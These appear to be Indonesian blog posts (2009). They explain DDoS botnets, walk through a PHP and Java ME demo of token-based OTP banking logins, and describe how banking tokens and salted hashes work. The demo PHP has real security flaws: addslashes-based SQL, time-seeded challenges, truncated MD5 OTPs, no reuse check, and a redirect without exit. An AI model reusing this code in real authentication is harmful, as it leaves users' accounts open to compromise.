Normal request hanya membuat server mengonsumsi resource dalam jumlah biasa-biasa saja, tidak akan mengganggu kerja server secara keseluruhan. Diperlukan normal request dalam jumlah yang sangat banyak untuk membuat server terganggu kerjanya. Jadi agar serangan ini menjadi efektif, maka serangan harus dilakukan beramai-ramai dari banyak tempat, semakin banyak penyerang semakin bagus hasilnya. Serangan ini juga disebut dengan distributed DoS (DDoS) karena dilakukan dari banyak lokasi yang terdistribusi (tersebar).

Serangan DDoS dilakukan dengan menggunakan komputer zombie atau robot. Zombie adalah komputer yang sudah dikuasai attacker sehingga bisa dikendalikan dari jarak jauh. Sekumpulan komputer zombie membentuk jaringan yang disebut bot-net. Attacker mendapatkan banyak zombie dengan menyebarkan virus atau worm, setiap komputer yang terinfeksi akan diinstall program yang membuat komputer bersedia menjalankan perintah dari attacker.

DDoS Botnet Attack

Courtesy of: www.dos-attack.net

Gambar di atas menjelaskan cara kerja DDoS. Attacker memberi perintah kepada semua pasukannya untuk membuat request HTTP ke sebuah website. Bila pasukan yang dikuasai attacker sangat besar, maka web server akan dibanjiri request sehingga menjadi terlalu sibuk dan tidak bisa diakses oleh pengguna yang sebenarnya (real visitor).

Serangan jenis ini tidak ada obatnya karena attacker tidak meng-exploit bug atau vulnerability apapun. Bila pada jenis DoS yang lain, serangan dapat dicegah dengan melakukan patching atau update software, maka serangan ini tidak bisa dihentikan dengan update atau patch.

Kesimpulan

Denial of service adalah serangan yang membuat server tidak bisa melayani pengguna yang sesungguhnya. Berikut adalah jenis-jenis serangan DoS berdasarkan cara melakukan serangan:

  • Mematikan Server: one shot, one kill untuk membuat server menjadi crash, hang, reboot.
  • Menyibukkan Server: mengirim banyak sekali request untuk membuat server sibuk.
    • Exploiting bug: mengirim banyak specially crafted request. Jumlah request tidak sebanyak jenis DoS yang menyibukkan server dengan normal request.
    • Normal request: mengirim banyak request normal seperti pengguna biasa. Diperlukan jumlah request yang lebih banyak dibandingkan jenis DoS yang menyibukkan server dengan exploit bug. Biasanya menggunakan botnet secara terdistribusi.

Written by Rizki Wicaksono

October 10th, 2009 at 2:04 pm

Membuat Web dengan Otentikasi berbasis Token

without comments

Pada artikel sebelumnya saya sudah menjelaskan cukup detil tentang cara kerja token yang dipakai pada internet banking. Artikel tersebut hanya menjelaskan sebatas teoretis saja, saya pikir akan lebih baik bila ada prakteknya. Oleh karena itu, seperti yang sudah saya janjikan, kali ini saya akan membuat sebuah contoh sederhana website dengan otentikasi yang menggunakan token seperti pada situs internet banking. Aplikasi token yang saya buat ini dikembangkan dari aplikasi yang bernama Mobile-OTP, dari aplikasi itu saya tambahkan beberapa fitur agar mirip dengan token yang dipakai di internet banking. Sedangkan aplikasi server/website saya harus membuat sendiri dari awal karena tidak tersedia di Internet.

Persiapan

Ada dua komponen yang terlibat dalam sistem ini, yaitu token yang dipakai oleh client dan tentu saja server. Token ada yang berwujud fisik seperti kalkulator kecil, ada juga yang berwujud software yang disebut juga virtual token. Sebenarnya token fisik maupun software sama saja, jadi dalam artikel ini saya akan membuat token yang berwujud software. Lebih spesifik lagi token ini dibuat dengan Java Mobile sehingga bisa diinstall di handphone yang mendukung Java. Jadi wujud fisik token yang berbentuk kalkulator bisa digantikan dengan wujud fisik sebuah handphone. Dalam artikel ini saya akan menggunakan emulator handphone yang dibundel dari Java Wireless Toolkit.

Komponen lainnya adalah server. Diperlukan web server dan database server, dalam artikel ini saya pakai XAMPP yang sudah dibundel dengan Apache, PHP dan MySQL.

Spesifikasi One Time Password di Aplikasi Contoh

Dalam aplikasi contoh ini, one time password didapatkan dengan mengambil 6 karakter pertama hasil penghitungan hash dengan fungsi MD5. Granularity sistem ini adalah 10 detik, dengan kata lain setiap 10 detik token akan menghasilkan OTP yang berbeda. Jika anda meminta token mengeluarkan OTP beberapa kali dalam rentang 10 detik, maka semuanya akan menghasilkan OTP yang sama. Kemudian baru ketika waktu masuk ke 10 detik berikutnya token akan menghasilkan OTP yang baru.

Dalam aplikasi contoh ini, umur OTP adalah 3 menit, artinya server harus menghitung semua OTP dalam time window 6 menit, yaitu 3 menit ke belakang dan 3 menit ke depan relatif terhadap waktu ketika server melakukan otentikasi. Konsekuensinya adalah setiap OTP yang dihasilkan token akan dianggap valid bila belum pernah dipakai dalam 3 menit sejak OTP dibangkitkan.

Spesifikasi Software Token

Token yang akan saya buat ini nantinya memiliki fitur yang sama dengan token internet banking pada umumnya. Pada kondisi normal nilai init-secret sudah ditanam di dalam token secara hardware, namun dalam token contoh ini tersedia fitur untuk melakukan inisialisasi nilai init-secret. Init-secret ini harus dicatat juga di server agar server bisa menghasilkan OTP yang sama dengan token.

Token bisa menghasilkan OTP dalam mode Challenge/Response maupun dalam mode Response Only (self generated). Challenge yang diterima oleh token adalah sepanjang 4 digit dan menghasilkan response sepanjang 6 digit hexadesimal.

Spesifikasi Website

Website dalam aplikasi contoh ini saya buat dengan PHP. Aplikasi ini terdiri dari 2 file saja, yaitu login.php dan transfer.php. Login.php digunakan untuk melakukan login dengan menggunakan response only pin dari token. Sedangkan transfer.php adalah untuk melakukan transfer uang dengan menggunakan challenge/response pin dari token.

Aplikasi ini saya pasang pada localhost yang terinstall Apache+MySQL+PHP dari XAMPP. Sebelum bisa melakukan transfer uang, user harus melakukan login di URL https://localhost/mytestbank/login.php . Perhatikan URL tersebut sengaja saya memakai https agar mirip dengan internet banking. Tentu saja browser anda akan berontak ketika menggunakan https karena memang saya tidak punya sertifikat yang ditandatangani CA untuk localhost. Bila anda kesulitan mengonfigurasi browser anda untuk memakai https tersebut, anda boleh memakai http biasa.

Pada saat login user diminta memasukkan username dan OTP yang dihasilkan dari token dalam mode response only (self generated). Bila login berhasil, maka user dialihkan ke halaman https://localhost/mytestbank/transfer.php . Berbeda dengan halaman login, pada saat transfer user diminta untuk memasukkan OTP dari token dalam mode challenge/response. Server memberikan challenge sepanjang 4 digit angka.

Aplikasi ini juga membutuhkan sebuah tabel MySQL bernama users yang saya masukkan dalam database bernama mytestbank. Tabel ini digunakan untuk menyimpan informasi pengguna website. Berikut adalah script SQL untuk membuat tabel users.

CREATE TABLE IF NOT EXISTS `users` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `initsecret` varchar(255) NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;

Agar lebih mudah sebaiknya anda menginstall XAMPP atau WAMP dan menggunakan PhpMyAdmin untuk membuat tabel users tersebut.

Pembuatan Token

Token dibuat dengan Java Mobile (disebut midlet) yang sangat sederhana. Midlet ini hanya terdiri dari 2 file, yaitu MD5.java dan MobileOTP.java. Class MD5 adalah library untuk menghitung nilai hash MD5. Sedangkan class MobileOTP adalah class utama. Karena sourcenya cukup panjang, anda bisa mendownload sourcenya dalam file zip di sini. File zip itu bisa langsung anda extract ke dalam folder apps dalam Java Wireless Toolkit bila ingin menjalankan midlet itu dengan menggunakan emulator.

Saya akan menjelaskan fungsi utama dari token yaitu membangkitkan OTP dalam mode Challenge/Response dan mode Response Only. Perhatikan potongan kode token berikut yang berfungsi untuk membangkitkan OTP dalam mode Response Only.

now=new Date();										
epoch=""+(now.getTime()+((timez-12)*3600000));
epoch=epoch.substring(0,epoch.length()-4);
String otp=epoch+secret;
MD5 hash=new MD5(otp);
otp=hash.asHex().substring(0,6);

Kode di atas sangat sederhana, diawali dengan mengambil detik EPOCH sepanjang 9 digit (ini sama dengan EPOCH/10 karena granularitynya adalah 10 detik). Kemudian nilai EPOCH tersebut digabung dengan init-secret. String gabungan epoch dengan init secret ini dihitung hashnya dengan MD5. Kemudian 6 karakter pertama dari hash tersebut diambil sebagai OTP response only (self generated).

Kode berikut ini adalah untuk membangkitkan OTP dalam mode challenge/response. Kode tersebut sangat mirip dengan potongan kode di atas hanya perbedaannya adalah adanya challenge yang dalam kode tersebut ada pada variabel PIN. Gabungan dari epoch, init secret dan challenge dihitung nilai hashnya dengan MD5, baru kemudian diambil 6 karakter pertamanya sebagai OTP.

1
2
3
4
5
6
now=new Date();        				
epoch=""+(now.getTime()+((timez-12)*3600000));
epoch=epoch.substring(0,epoch.length()-4);        				
otp=epoch+secret+PIN;        				
hash=new MD5(otp);        				
otp=hash.asHex().substring(0,6);

Bila anda ingin mencobanya di hape anda, pastikan HP anda mendukung java. Anda bisa mengkopi file JAR aplikasi ini ke memory card anda dengan bluetooth/USB, atau anda bisa juga mendownload langsung dari browser hp anda. URL untuk mendownload file JAR midlet ini adalah http://www.ilmuhacking.com/wp-content/uploads/2009/07/MobileOTP.jar . Selanjutnya anda tinggal mengikuti petunjuk untuk instalasi aplikasi seperti biasa. Ingat sebelum dipakai diperlukan langkah inisialisasi nilai init-secret dengan cara mengetikkan #**# dalam field “CHAL”.

Berikut ini adalah screen capture dari aplikasi tersebut yang diinstall di HP saya. Dua gambar di bawah ini adalah prosedur inisialisasi init-secret ketika aplikasi pertama kali dijalankan. Nilai init secret ini harus dicatat dan disimpan ke dalam tabel user di server.

e90mobileotp1
e90mobileotp2

Gambar di bawah ini adalah screen shot ketika midlet token membangkitkan OTP dalam mode response only.

e90mobileotp5

Gambar di bawah ini adalah screen shot ketika midlet token membangkitkan OTP dalam mode challenge response.

e90mobileotp4

Pembuatan Aplikasi Web

Aplikasi web terdiri dari dua file yaitu login yang menggunakan OTP dalam mode response only, dan transfer yang menggunakan OTP dalam mode challenge response. Seperti halnya midlet token, aplikasi ini juga sangat sederhana. Fungsi utamanya adalah pada fungsi checkCR() dan checkRO() yang berfungsi untuk melakukan otentikasi dalam mode Challenge/Response atau Response Only. Berikut adalah isi dari fungsi checkCR dan checkRO.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Check Challenge/Response Mode
function checkCR($chal,$otp,$initsecret)
{
 $maxperiod = 3*60; // in seconds = +/- 3 minutes
 $time=gmdate("U");
 for($i = $time - $maxperiod; $i <= $time + $maxperiod; $i++)
 {
    $md5 = substr(md5(substr($i,0,-1).$initsecret.$chal),0,6);
    if($otp == $md5) return(true);
 }
return(false);
}
 
// Check Response/Only Mode
function checkRO($otp,$initsecret)
{
 $maxperiod = 3*60; // in seconds = +/- 3 minutes
 $time=gmdate("U");
 for($i = $time - $maxperiod; $i <= $time + $maxperiod; $i++)
 {
    $md5 = substr(md5(substr($i,0,-1).$initsecret),0,6);
    if($otp == $md5) return(true);
 }
return(false);
}

Perbedaan kedua fungsi itu hanya pada adanya $chal pada fungsi checkCR() sedangkan pada fungsi checkRO() yang digabungkan hanya epoch dan initsecret. Mari kita ulas kedua fungsi tersebut karena inti dari aplikasi ini ada pada kedua fungsi itu.

Dalam artikel sebelumnya saya sudah menjelaskan mengenai time window atau toleransi yang diberikan server ketika melakukan otentikasi. Dalam contoh ini time window yang diberikan server adalah 3 menit ke depan dan 3 menit ke belakang relatif terhadap waktu ketika server melakukan otentikasi. Waktu (dalam detik EPOCH) ketika server melakukan otentikasi disimpan pada variabel $time (baris ke-5 dan baris ke-18), sehingga server harus menghitung semua otp dari $time-180 hingga $time+180 (3 menit ke belakang dan 3 menit ke depan) pada baris ke-6 dan baris-19.

Selanjutnya pada barus ke-8 dan baris ke-21 server menghitung otp dengan mengambil 6 karakter awal dari fungsi hash gabungan dari epoch+initsecret dan challenge (khusus untuk checkCR).

Di bawah ini adalah source untuk file login.php. Untuk melakukan otentikasi, login.php memanggil fungsi checkRO() pada baris ke-12. Namun untuk memanggil fungsi checkRO() dibutuhkan init secret dari user yang disimpan dalam tabel users sehingga server harus melakukan query ke tabel users (baris ke-8). Selanjutnya bila otentikasi berhasil server akan menyimpan username dan initsecret pada session kemudian mengalihkan user ke aplikasi transfer (transfer.php).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
session_start();
include("initdb.php");
include("lib.php");
if (isset($_POST["login"])) {
	$username = addslashes($_POST["username"]);
	$pin = $_POST["pin"];
	$sql = "select initsecret from users where username='$username' ";
	$res=mysql_query($sql);
	if ($arr_row=mysql_fetch_array($res)) {
		$initsecret = $arr_row[0];
		$success = checkRO($pin,$initsecret);
		if ($success) {
			$_SESSION["username"] = $username;
			$_SESSION["initsecret"] = $initsecret;			
			header("Location: transfer.php");
		} else {
			$err = "Wrong PIN, Try Again.";
		}
	} else {
		$err = "Wrong PIN, Try Again.";
	}
}
?>
<html>
<body>
<H1>Login Internet Banking MyTestBank</H1>
<?php if (isset($err)) echo "<font color=red><B>$err</b></font>"; ?>
<form method="post" action="">
<table border=1>
<tr>
	<td>Username</td>
	<td><input type="text" name="username" /></td>
</tr>
<tr>
	<td>Token PIN:</td>
	<td><input type="text" name="pin" /></td>
</tr>
<tr>
	<td colspan=2 align=center><input type="submit" name="login" value="Login" /></td>
</tr>
</table>
</form>
</body>
</html>

Di bawah ini adalah source untuk file transfer.php. Untuk melakukan otentikasi server memanggil fungsi checkCR() pada baris ke-13. Fungsi checkCR ini membutuhkan init secret, challenge yang diambil dari session. Kemudian server akan memberikan pesan “Transfer Success” atau “Wrong PIN” tergantung dari hasil fungsi checkCR().

Pada baris ke-21 dan ke-22 server membangkitkan nilai acak sepanjang 4 digit sebagai challenge. Challenge ini disimpan dalam session agar tidak bisa dimanipulasi user. Bila challenge disimpan sebagai hidden field dalam form, maka user bisa bebas mengubah isi challenge itu.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
session_start();
include("initdb.php");
include("lib.php");
if (!isset($_SESSION["initsecret"])) {
	header("Location: login.php");
}
if (isset($_POST["login"])) {
	$username = addslashes($_POST["username"]);
	$pin = addslashes($_POST["pin"]);
	$initsecret = $_SESSION["initsecret"];
	$challenge = $_SESSION["challenge"];
	$success = checkCR($challenge,$pin,$initsecret);
 
	if ($success) {
		$msg = "<font color=green>Transfer Success</font>";
	} else {
		$msg = "<font color=red>Wrong PIN</font>";
	}
} 
srand(time());
$challenge = sprintf("%04d",(rand()%9999));
$_SESSION["challenge"] = $challenge;
 
?>
<html>
<body>
<?php if (isset($msg)) echo "<B>$msg</b>"; ?>
<h1>Transfer Form</h1>
<form method="post" action=""> 
No Rekening Tujuan: <input type="text" name="norek" /><br/>
Jumlah: Rp. <input type="text" name="jumlah" /><br/>
Challenge Code: <?= $challenge ?><i>(Masukkan kode ini ke dalam token anda)</i><br/>
Token PIN : <input type="text" name="pin" /><i>(Masukkan response dari token anda)</i><br/>
<input type="submit" name="login" value="Transfer" /><br/>
</form>
</body>
</html>

Anda bisa mendownload semua source php di sini.

Test

Sebelum mencoba pertama saya harus menyamakan jam di token (handphone) dengan jam di server. Setelah sama baru kita uji coba aplikasi ini dengan skenario berikut:

Nasabah myTestBank ingin memakai aplikasi internet banking myTestBank untuk mentransfer sejumlah uang. Untuk itu dia baru saja mendownload Midlet Token dan menginstallnya ke HPnya. Token midlet tersebut diinisialisasi dengan nilai init secret 369e4a62be0e579a. Setelah mendaftar user tersebut mendapat username rizki. Untuk menggunakan fasilitas ini dia harus membuka browser ke URL https://localhost/mytestbank/login.php .

Selain menyamakan jam di token dan di server, init secret di token dan di server harus sama. Gambar di bawah ini menunjukkan bahwa init secret di hape saya sudah sama dengan yang di tabel users MySQL.

initsecret-server-token

Kini user sudah siap mencoba untuk login ke aplikasi MyTestBank di URL https://localhost/mytestbank/login.php . Berikut ini adalah screen capture ketika user login.

loginotp

Setelah login berhasil, kemudian user dihadapkan pada form untuk melakukan transfer uang. Berikut ini adalah screen shot pada browser dan hp user ketika user melakukan transfer.

transferformOTP

Setelah memasukkan OTP dengan benar, server memberikan informasi “Transfer Success”. Kini user telah berhasil melakukan transfer. Berikut adalah screenshot ketika transfer berhasil dilakukan.

transfersuccess

Written by Rizki Wicaksono

July 28th, 2009 at 4:59 pm

Memahami Cara Kerja Token Internet Banking

without comments

photo by:hendriadi.wordpress.com

photo:hendriadi.wordpress.com

Penggunaan token berupa alat kecil semacam kalkulator untuk mengamankan transaksi internet banking kini sudah menjadi hal yang wajib. Token ini menjadi faktor tambahan dalam otentikasi yaitu untuk membuktikan bahwa anda adalah benar-benar pengguna yang sah. Mungkin ada yang bertanya-tanya bagaimana cara kerja token seperti yang dipakai situs internet banking? Bagaimana alat kecil seperti kalkulator itu bisa menghasilkan angka yang juga diketahui oleh server internet banking, padahal alat itu tidak terbubung dengan server. Dalam artikel ini saya akan menjelaskan cara kerja token internet banking, dan dalam artikel berikutnya saya akan membuat token berbasis software dan website sederhana yang akan mensimulasikan internet banking.

Authentication Method

Otentikasi bertujuan untuk membuktikan siapa anda sebenarnya, apakah anda benar-benar orang yang anda klaim sebagai dia (who you claim to be). Ada banyak cara untuk membuktikan siapa anda. Metode otentikasi bisa dilihat dalam 3 kategori metode:

  1. Something You Know
  2. Ini adalah metode otentikasi yang paling umum. Cara ini mengandalkan kerahasiaan informasi, contohnya adalah password dan PIN. Cara ini berasumsi bahwa tidak ada seorangpun yang mengetahui rahasia itu kecuali anda seorang.

  3. Something You Have
  4. Cara ini biasanya merupakan faktor tambahan untuk membuat otentikasi menjadi lebih aman. Cara ini mengandalkan barang yang sifatnya unik contohnya adalah kartu magnetik/smartcard, hardware token, USB token dan sebagainya. Cara ini berasumsi bahwa tidak ada seorangpun yang memiliki barang tersebut kecuali anda seorang.

  5. Something You Are
  6. Ini adalah metode yang paling jarang diapakai karena faktor teknologi dan manusia juga. Cara ini mengandalkan keunikan bagian-bagian tubuh anda yang tidak mungkin ada pada orang lain seperti sidik jari, suara atau sidik retina. Cara ini berasumsi bahwa bagian tubuh anda seperti sidik jari dan sidik retina, tidak mungkin sama dengan orang lain.

Lalu bagaimana dengan metode otentikasi tradisional seperti tanda tangan di atas materai? Masuk ke kategori manakah cara itu dari ketiga metode di atas? Saya pikir tidak ada yang cocok, karena itu saya tambahkan satu lagi yaitu “Something You Can“.  Cara ini berasumsi bahwa tidak ada orang lain di dunia ini yang bisa melakukan itu selain anda. Memang otentikasi dengan tanda tangan dibangun di atas asumsi itu, tidak ada yang bisa menuliskan tanda tangan anda kecuali anda. Walaupun pada kenyataannya ada saja orang yang bisa meniru tanda tangan anda dengan sangat baik, namun walaupun menyadari fakta tersebut tanda tangan di atas kertas tetap diakui sebagai bukti otentik atas siapa anda.

Two Factor Authentication

Pada aplikasi yang kritis dan sensitif seperti transaksi keuangan, satu metode otentikasi saja tidak cukup. Oleh karena itu muncul istilah 2FA (Two Factor Authentication) yang merupakan sistem otentikasi yang menggunakan 2 faktor (metode) yang berbeda. Empat metode otentikasi yang sudah saya jelaskan sebelunya dapat dikombinasikan untuk meningkatkan keamanan, salah satu contohnya adalah dengan kombinasi “something you have” berupa kartu ATM dengan “something you know” berupa PIN. Kombinasi ini merupakan kombinasi yang paling banyak dipakai.

Contoh kasus lain adalah ketika anda berbelanja di pasar modern dan membayar dengan kartu, tanpa disadari anda telah memakai lebih dari satu faktor otentikasi. Faktor yang pertama adalah “Something You Have” yaitu kartu debit/kredit anda. Faktor kedua adalah “Something You Know”, ketika anda diminta memasukkan PIN ke dalam mesin EDC. Bahkan mungkin ada faktor ketiga yaitu “Something You Can”, ketika anda diminta menanda-tangani nota pembayaran yang dicetak mesin EDC.

Internet banking juga menggunakan two factor authentication dengan mengombinasikan “something you know” berupa password dan “something you have” berupa hardware token (keyBCA atau Token Mandiri).

Password yang Dikeluarkan Token Internet Banking

Pada umumnya ada dua mode pemakaian token internet banking:

  1. Mode Challenge/Response (C/R)
  2. Ini adalah mode yang paling sering dipakai ketika bertransaksi. Dalam mode ini server memberikan challenge berupa sederetan angka. Angka tersebut harus dimasukkan kedalam mesin token untuk mendapatkan jawaban (response). Kemudian pengguna memasukkan angka yang muncul pada tokennya ke dalam form di situs internet banking. Token akan mengeluarkan kode yang berbeda-beda walaupun dengan challenge code yang sama secara periodik tergantung waktu ketika challenge dimasukkan ke dalam token.

  3. Mode Self Generated (Response Only)
  4. Dalam mode ini server tidak memberikan tantangan (challenge) apapun. Token pengguna bisa langsung mengeluarkan sederetan angka tanpa harus memasukkan challenge. Seperti mode C/R, token juga mengeluarkan kode yang berbeda-beda secara periodik tergantung waktu ketika token diminta untuk menghasilkan kode self generated.

Sebenarnya jawaban yang diberikan oleh token baik dalam mode C/R maupun Self Generated(resopnse only) tidak lain adalah password juga. Namun berbeda dengan password yang anda pakai untuk login, password yang dihasilkan token ini memiliki keterbatasan untuk alasan keamanan, yaitu:

  1. Hanya boleh dipakai 1 kali
  2. Ini disebut dengan OTP (One Time Password). Setelah suatu password dipakai, maka password yang sama tidak bisa lagi dipakai untuk kedua kalinya. Dengan cara ini tidak ada gunanya menyadap password yang dihasilkan token karena password tersebut tidak bisa dipakai lagi. Namun bila password tersebut di-intercept sehingga tidak pernah sampai ke server, maka password tersebut masih berharga karena di mata server, password itu belum pernah dipakai.

  3. Hanya boleh dipakai dalam rentang waktu yang terbatas
  4. Password yang dihasilkan token memiliki umur yang sangat terbatas, mungkin antara 3-6 menit bila umurnya habis maka password itu tidak bisa dipakai, walaupun belum pernah dipakai. Nanti akan saya jelaskan mengapa password token memerlukan umur, waktu merupakan unsur yang sangat kritikal dalam sistem ini.

  5. Hanya boleh dipakai dalam konteks sempit
  6. Bila password/PIN yang dipakai untuk login adalah password yang bebas konteks, dalam arti dengan berbekal password itu, anda bisa melakukan banyak hal, mulai dari melihat saldo, mengecek transaksi dan sebagainya. Namun password yang dihasilkan token, hanya bisa dipakai dalam konteks sempit, contohnya password yang dipakai untuk mengisi pulsa ke nomor 08123456789, tidak bisa dipakai untuk melakukan transfer dana.

    Terbatasnya konteks ini disebabkan karena untuk melakukan transaksi dibutuhkan password yang diikat oleh challenge dari server, sehingga password tersebut tidak bisa dipakai untuk transaksi lain yang membutuhkan challenge code yang berbeda. Contohnya bila challenge yang diberikan server adalah 3 digit terakhir dari nomor handphone (untuk transaksi isi pulsa), atau 3 digit terakhir nomor rekening tujuan (untuk transaksi transfer). Maka password yang dihasilkan token untuk transaksi isi pulsa ke nomor 0812555111222, akan valid juga untuk transaksi transfer uang ke rekening 155887723120222. Sebab kebetulan kedua transaksi tersebut membutuhkan password yang diikat oleh challenge code yang sama, yaitu 222 (diambil dari 3 digit terakhir).

    Konteks ini hanya berlaku bila password dihasilkan dalam mode C/R. Password yang dihasilkan dalam mode Self Generated, bisa dipakai dalam transaksi apa saja yang tidak meminta password dengan challenge code.

Jadi bisa disimpulkan bahwa password yang dikeluarkan token bersifat:

  1. Selalu berubah-ubah secara periodik
  2. Memiliki umur yang singkat
  3. Hanya bisa dipakai 1 kali
  4. Terbagi dalam ada dua jenis, yaitu:
  • Password kontekstual yang terikat oleh challenge code dalam mode challenge/response.
  • Password bebas konteks yang dihasilkan dalam mode self generated.

Proses Otentikasi

Seperti password pada umumnya, syarat agar otentikasi berhasil adalah:

password yang dikirimkan client = password yang disimpan di server

Dengan alasan keamanan jarang sekali server menyimpan password user dalam bentuk plain-text. Biasanya server menyimpan password user dalam bentuk hash sehingga tidak bisa dikembalikan dalam bentuk plain-text. Jadi syarat otentikasi berhasil di atas bisa diartikan sebagai hasil penghitungan hash dari password yang dikirim klien harus sama dengan nilai hash yang disimpan dalam server. Perhatikan gambar di bawah ini untuk lebih memahami.

courtesy of "www.unixwiz.net/techtips/iguide-crypto-hashes.html"

courtesy of "www.unixwiz.net/techtips/iguide-crypto-hashes.html"

Penggunaan Salt

Untuk menghindari brute-force attack terhadap hash yang disimpan di server, maka sebelum password user dihitung nilai hashnya, terlebih dahulu ditambahkan string acak yang disebut dengan salt. Perhatikan contoh berikut, bila password user adalah “secret”, maka sebelum dihitung nilai hashnya, password ditambahkan dulu salt berupa string acak “81090273″ sehingga yang dihitung nilai hashnya adalah “secret81090273″ bukan “secret”.

Perhatikan bahwa nilai MD5(“secret81090273″) adalah 894240dbe3d2b546c05a1a8e9e0df1bc sedangkan nilai MD5(“secret”) adalah 5ebe2294ecd0e0f08eab7690d2a6ee69. Bila tanpa menggunakan salt, maka attacker yang mendapatkan nilai hash 5ebe2294ecd0e0f08eab7690d2a6ee69 bisa menggunakan teknik brute force attack atau rainbow table untuk mendapatkan nilai password dalam plain-text. Salah satu contoh database MD5 online yang bisa dipakai untuk crack md5 adalah http://gdataonline.com/seekhash.php . Dalam situs tersebut coba masukkan nilai 5ebe2294ecd0e0f08eab7690d2a6ee69, maka situs tersebut akan memberikan hasil “secret”. Hal ini disebabkan karena situs tersebut telah menyimpan pemetaan informasi secret<=>5ebe2294ecd0e0f08eab7690d2a6ee69.

Penambahan salt “81090273″ membuat nilai hash menjadi 894240dbe3d2b546c05a1a8e9e0df1bc. Bila nilai ini dimasukkan dalam situs tersebut, dijamin tidak akan ada dalam databasenya bahwa nilai hash tersebut adalah “secret81090273″. Dan karena nilai salt ini dibangkitkan secara random, maka tiap user memiliki nilai salt yang berbeda sehingga tidak mungkin attacker bisa membangun database pemetaan antara plaintext dan hash secara lengkap.

Dengan penggunaan salt, maka database pengguna dalam server akan tampak seperti ini:

Username Salt Password Hash
budi 81090273 894240dbe3d2b546c05a1a8e9e0df1bc

Field salt diperlukan ketika melakukan otentikasi. Password yang dikirimkan user akan ditambahkan dulu dengan nilai salt ini baru kemudian dihitung nilai hashnya. Nilai hash hasil perhitungan tersebut akan dibandingkan dengan field Password Hash yang ada di kolom sebelahnya. Bila sama, maka otentikasi berhasil, bila tidak sama, berarti otentikasi gagal. Secara prinsip sama saja dengan gambar di atas, hanya ditambahkan satu langkah yaitu penambahan salt sebelum dihitung nilai hashnya.

Pembangkitan One Time Password (OTP) Token Internet Banking

Apa yang saya jelaskan sebelumnya menjadi dasar dari apa yang akan saya jelaskan berikut ini. Bagaimana cara token menghasilkan sederetan angka sebagai OTP yang bisa diotentikasi oleh server? Ingat bahwa syarat agar otentikasi berhasil adalah password yang dikirim klien harus sama dengan yang disimpan di server. Ingat juga bahwa password yang dihasilkan token selalu berubah-ubah secara periodik. Bagaimana apa yang dihasilkan alat itu bisa sinkron dengan server? Padahal alat tersebut tidak terhubung dengan server, bagaimana server bisa tahu berapa nilai yang dihasilkan token? Jawabannya adalah dengan waktu. Sebelumnya sudah saya sebutkan bahwa waktu adalah elemen yang sangat penting dalam sistem ini. Server dan token dapat sinkron dengan menggunakan waktu sebagai nilai acuan.

OTP dalam Mode Self Generated (Response Only)

Saya akan jelaskan mulai dari pembangkitan OTP dalam mode self generated atau response only. Sebelumnya tentu saja, server dan token harus menyepakati sebuah nilai awal rahasia (init-secret). Nilai awal ini disimpan (ditanam) dalam token dan disimpan juga dalam tabel di server.

Ketika pada suatu waktu tertentu token diminta menghasilkan OTP tanpa challenge code, inilah yang dilakukan token:

  1. Mengambil waktu saat ini dalam detik berformat EPOCH (jumlah detik sejak 1 Januari 1970), biasanya dalam granularity 10 detik, sehingga nilai EPOCH dibagi 10.
  2. Menggabungkan init-secret dengan waktu saat ini dari langkah 1.
  3. Menghitung nilai hash gabungan init-secret dan waktu dari langkah 2.

Nilai hash dari langkah 3 inilah yang menjadi OTP. Namun biasanya OTP diambil dari beberapa karakter/digit di awal hash.

Bagaimana cara server melakukan otentikasi? Caranya mirip dengan yang dilakukan token, yaitu dengan menghitung nilai hash gabungan init-secret dengan waktu saat ini dan mengambil beberapa digit di awal sebagai OTP. Bila OTP yang dikirim user sama dengan OTP yang didapatkan server dari perhitungan hash, maka otentikasi berhasil.

Namun ada sedikit catatan yang harus diperhatikan terkait waktu. Untuk memberikan toleransi perbedaan waktu antara token dan server, dan juga jeda waktu dari sejak server meminta password sampai user meminta token membangkitkan token, maka server harus memberikan toleransi waktu.

Ada tiga kejadian yang perlu diperhatikan waktunya, yaitu:

  1. Detik ketika server meminta password (OTP) dari user
  2. Detik ketika token membangkitkan OTP
  3. Detik ketika server menerima OTP dari user

Perhatikan contoh di bawah ini:

Bila diasumsikan waktu di server sama persis dengan waktu di token (jam internal token), maka kita harus perhatikan bahwa pasti akan ada jeda antara kejadian 1, 2 dan 3. Bila pada detik ke-0 server meminta password dari user, karena lambatnya akses internet, bisa jadi baru pada detik ke-30 user melihat pada browsernya bahwa dia harus memasukkan OTP dari token. Kemudian baru pada detik ke-60 token menghasilkan OTP. Pada detik ke-65 user mensubmit nilai OTP tersebut ke server dan baru tiba di server pada detik ke-90.

Karena pembangkitan OTP tergantung waktu pada saat OTP dibangkitkan, maka OTP yang dihasilkan token, adalah OTP pada detik ke-60. Sedangkan server meminta password dari user sejak detik ke-0. Bagaimana cara server melakukan otentikasi? Caranya adalah dengan memeriksa seluruh kemungkinan OTP dalam rentang waktu yang dipandang memadai, misalkan 180 detik.

Bila sistem menggunakan granularity 10 detik maka server harus menghitung nilai OTP sejak dari detik ke-0, 10, 20, 30, 40, s/d ke 180 dalam kelipatan 10 detik. Perhatikan contoh pada gambar di bawah ini. Dalam sistem ini diasumsikan OTP adalah 6 karakter awal dari MD5 gabungan. Dalam melakukan otentikasi, server harus membandingkan semua nilai OTP sejak detik ke-0 (dalam contoh ini EPOCH/10 = 124868042) hingga waktu toleransi maksimum.

otptoken1Dalam contoh di atas bila user mengirimkan OTP “b1cdb9″ maka otentikasi akan berhasil ketika server menghitung nilai OTP pada detik ke-60 sejak server meminta OTP dari user.

